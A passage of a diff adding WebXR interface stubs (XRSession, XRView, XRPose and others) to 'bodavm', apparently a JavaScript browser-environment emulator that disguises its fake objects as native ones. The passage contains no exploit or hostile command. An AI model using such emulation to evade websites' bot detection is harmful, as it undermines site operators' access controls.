bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "added_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRInputSourcesChangeEvent', "removed", { + configurable: true, + enumerable: true, + get: function removed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSourcesChangeEvent'].prototype, "XRInputSourcesChangeEvent", "removed_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRLayer对象 + +bodavm.memory.globalobj['XRLayer'] = function XRLayer() { + console.log_copy('XRLayer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRLayer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLayer'], "XRLayer"); +bodavm.memory.globalobj['XRLayer'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRLayer'].__proto__ = bodavm.memory.globalobj['EventTarget']; +// XRLightEstimate对象 + +bodavm.memory.globalobj['XRLightEstimate'] = function XRLightEstimate() { + console.log_copy('XRLightEstimate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRLightEstimate)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightEstimate'], "XRLightEstimate"); +bodavm.toolsFunc.defineProperty('XRLightEstimate', "sphericalHarmonicsCoefficients", { + configurable: true, + enumerable: true, + get: function sphericalHarmonicsCoefficients() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "sphericalHarmonicsCoefficients_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightDirection", { + configurable: true, + enumerable: true, + get: function primaryLightDirection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightDirection_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRLightEstimate', "primaryLightIntensity", { + configurable: true, + enumerable: true, + get: function primaryLightIntensity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightEstimate'].prototype, "XRLightEstimate", "primaryLightIntensity_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRLightProbe对象 + +bodavm.memory.globalobj['XRLightProbe'] = function XRLightProbe() { + console.log_copy('XRLightProbe 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRLightProbe)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRLightProbe'], "XRLightProbe"); +bodavm.memory.globalobj['XRLightProbe'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRLightProbe'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XRLightProbe', "probeSpace", { + configurable: true, + enumerable: true, + get: function probeSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "probeSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRLightProbe', "onreflectionchange", { + configurable: true, + enumerable: true, + get: function onreflectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_get", arguments); + }, + set: function onreflectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRLightProbe'].prototype, "XRLightProbe", "onreflectionchange_set", arguments); + } +}, 'prototype'); +// XRPose对象 + +bodavm.memory.globalobj['XRPose'] = function XRPose() { + console.log_copy('XRPose 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRPose)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRPose'], "XRPose"); +bodavm.toolsFunc.defineProperty('XRPose', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRPose', "emulatedPosition", { + configurable: true, + enumerable: true, + get: function emulatedPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRPose'].prototype, "XRPose", "emulatedPosition_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRRay对象 + +bodavm.memory.globalobj['XRRay'] = function XRRay() { + console.log_copy('XRRay 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XRRay(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRay'], "XRRay"); +bodavm.toolsFunc.defineProperty('XRRay', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRay', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "direction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRay', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRay'].prototype, "XRRay", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRReferenceSpaceEvent对象 + +bodavm.memory.globalobj['XRReferenceSpaceEvent'] = function XRReferenceSpaceEvent() { + console.log_copy('XRReferenceSpaceEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRReferenceSpaceEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRReferenceSpaceEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpaceEvent'], "XRReferenceSpaceEvent"); +bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRReferenceSpaceEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "referenceSpace", { + configurable: true, + enumerable: true, + get: function referenceSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", "referenceSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRRenderState对象 + +bodavm.memory.globalobj['XRRenderState'] = function XRRenderState() { + console.log_copy('XRRenderState 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRRenderState)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRenderState'], "XRRenderState"); +bodavm.toolsFunc.defineProperty('XRRenderState', "depthNear", { + configurable: true, + enumerable: true, + get: function depthNear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthNear_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRenderState', "depthFar", { + configurable: true, + enumerable: true, + get: function depthFar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthFar_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRenderState', "inlineVerticalFieldOfView", { + configurable: true, + enumerable: true, + get: function inlineVerticalFieldOfView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "inlineVerticalFieldOfView_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRenderState', "baseLayer", { + configurable: true, + enumerable: true, + get: function baseLayer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "baseLayer_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRRigidTransform对象 + +bodavm.memory.globalobj['XRRigidTransform'] = function XRRigidTransform() { + console.log_copy('XRRigidTransform 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XRRigidTransform(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRigidTransform'], "XRRigidTransform"); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "position", { + configurable: true, + enumerable: true, + get: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "position_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "orientation", { + configurable: true, + enumerable: true, + get: function orientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "orientation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "inverse", { + configurable: true, + enumerable: true, + get: function inverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "inverse_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRSession对象 + +bodavm.memory.globalobj['XRSession'] = function XRSession() { + console.log_copy('XRSession 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSession)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSession'], "XRSession"); +bodavm.memory.globalobj['XRSession'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRSession'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XRSession', "environmentBlendMode", { + configurable: true, + enumerable: true, + get: function environmentBlendMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "environmentBlendMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "interactionMode", { + configurable: true, + enumerable: true, + get: function interactionMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "interactionMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "visibilityState", { + configurable: true, + enumerable: true, + get: function visibilityState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "visibilityState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "renderState", { + configurable: true, + enumerable: true, + get: function renderState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "renderState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "inputSources", { + configurable: true, + enumerable: true, + get: function inputSources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "inputSources_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "domOverlayState", { + configurable: true, + enumerable: true, + get: function domOverlayState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "domOverlayState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "preferredReflectionFormat", { + configurable: true, + enumerable: true, + get: function preferredReflectionFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "preferredReflectionFormat_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "enabledFeatures", { + configurable: true, + enumerable: true, + get: function enabledFeatures() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "enabledFeatures_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onend", { + configurable: true, + enumerable: true, + get: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_get", arguments); + }, + set: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "oninputsourceschange", { + configurable: true, + enumerable: true, + get: function oninputsourceschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_get", arguments); + }, + set: function oninputsourceschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onselectend", { + configurable: true, + enumerable: true, + get: function onselectend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_get", arguments); + }, + set: function onselectend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onvisibilitychange", { + configurable: true, + enumerable: true, + get: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_get", arguments); + }, + set: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onsqueeze", { + configurable: true, + enumerable: true, + get: function onsqueeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_get", arguments); + }, + set: function onsqueeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onsqueezestart", { + configurable: true, + enumerable: true, + get: function onsqueezestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_get", arguments); + }, + set: function onsqueezestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onsqueezeend", { + configurable: true, + enumerable: true, + get: function onsqueezeend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_get", arguments); + }, + set: function onsqueezeend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "depthUsage", { + configurable: true, + enumerable: true, + get: function depthUsage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthUsage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "depthDataFormat", { + configurable: true, + enumerable: true, + get: function depthDataFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthDataFormat_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "cancelAnimationFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelAnimationFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "cancelAnimationFrame", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "end", { + configurable: true, + enumerable: true, + writable: true, + value: function end() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "end", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestAnimationFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function requestAnimationFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestAnimationFrame", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSource", { + configurable: true, + enumerable: true, + writable: true, + value: function requestHitTestSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSourceForTransientInput", { + configurable: true, + enumerable: true, + writable: true, + value: function requestHitTestSourceForTransientInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSourceForTransientInput", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestLightProbe", { + configurable: true, + enumerable: true, + writable: true, + value: function requestLightProbe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestLightProbe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestReferenceSpace", { + configurable: true, + enumerable: true, + writable: true, + value: function requestReferenceSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestReferenceSpace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "updateRenderState", { + configurable: true, + enumerable: true, + writable: true, + value: function updateRenderState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "updateRenderState", arguments); + } +}, 'prototype'); +// XRSessionEvent对象 + +bodavm.memory.globalobj['XRSessionEvent'] = function XRSessionEvent() { + console.log_copy('XRSessionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSessionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRSessionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSessionEvent'], "XRSessionEvent"); +bodavm.memory.globalobj['XRSessionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRSessionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRSessionEvent', "session", { + configurable: true, + enumerable: true, + get: function session() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSessionEvent'].prototype, "XRSessionEvent", "session_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRSystem对象 + +bodavm.memory.globalobj['XRSystem'] = function XRSystem() { + console.log_copy('XRSystem 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSystem)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSystem'], "XRSystem"); +bodavm.memory.globalobj['XRSystem'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRSystem'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XRSystem', "ondevicechange", { + configurable: true, + enumerable: true, + get: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_get", arguments); + }, + set: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSystem', "isSessionSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isSessionSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "isSessionSupported", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSystem', "requestSession", { + configurable: true, + enumerable: true, + writable: true, + value: function requestSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "requestSession", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSystem', "supportsSession", { + configurable: true, + enumerable: true, + writable: true, + value: function supportsSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "supportsSession", arguments); + } +}, 'prototype'); +// XRTransientInputHitTestResult对象 + +bodavm.memory.globalobj['XRTransientInputHitTestResult'] = function XRTransientInputHitTestResult() { + console.log_copy('XRTransientInputHitTestResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRTransientInputHitTestResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestResult'], "XRTransientInputHitTestResult"); +bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "inputSource", { + configurable: true, + enumerable: true, + get: function inputSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "inputSource_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "results", { + configurable: true, + enumerable: true, + get: function results() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "results_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRTransientInputHitTestSource对象 + +bodavm.memory.globalobj['XRTransientInputHitTestSource'] = function XRTransientInputHitTestSource() { + console.log_copy('XRTransientInputHitTestSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRTransientInputHitTestSource)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestSource'], "XRTransientInputHitTestSource"); +bodavm.toolsFunc.defineProperty('XRTransientInputHitTestSource', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestSource'].prototype, "XRTransientInputHitTestSource", "cancel", arguments); + } +}, 'prototype'); +// XRView对象 + +bodavm.memory.globalobj['XRView'] = function XRView() { + console.log_copy('XRView 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRView)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRView'], "XRView"); +bodavm.toolsFunc.defineProperty('XRView', "eye", { + configurable: true, + enumerable: true, + get: function eye() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "eye_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "projectionMatrix", { + configurable: true, + enumerable: true, + get: function projectionMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "projectionMatrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "recommendedViewportScale", { + configurable: true, + enumerable: true, + get: function recommendedViewportScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "recommendedViewportScale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "isFirstPersonObserver", { + configurable: true, + enumerable: true, + get: function isFirstPersonObserver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "isFirstPersonObserver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "camera", { + configurable: true, + enumerable: true, + get: function camera() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "camera_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "requestViewportScale", { + configurable: true, + enumerable: true, + writable: true, + value: function requestViewportScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "requestViewportScale", arguments); + } +}, 'prototype'); +// XRViewerPose对象 + +bodavm.memory.globalobj['XRViewerPose'] = function XRViewerPose() { + console.log_copy('XRViewerPose 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRViewerPose)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewerPose'], "XRViewerPose"); +bodavm.memory.globalobj['XRViewerPose'].prototype.__proto__ = bodavm.memory.globalobj['XRPose'].prototype; +bodavm.memory.globalobj['XRViewerPose'].__proto__ = bodavm.memory.globalobj['XRPose']; +bodavm.toolsFunc.defineProperty('XRViewerPose', "views", { + configurable: true, + enumerable: true, + get: function views() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewerPose'].prototype, "XRViewerPose", "views_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRViewport对象 + +bodavm.memory.globalobj['XRViewport'] = function XRViewport() { + console.log_copy('XRViewport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRViewport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewport'], "XRViewport"); 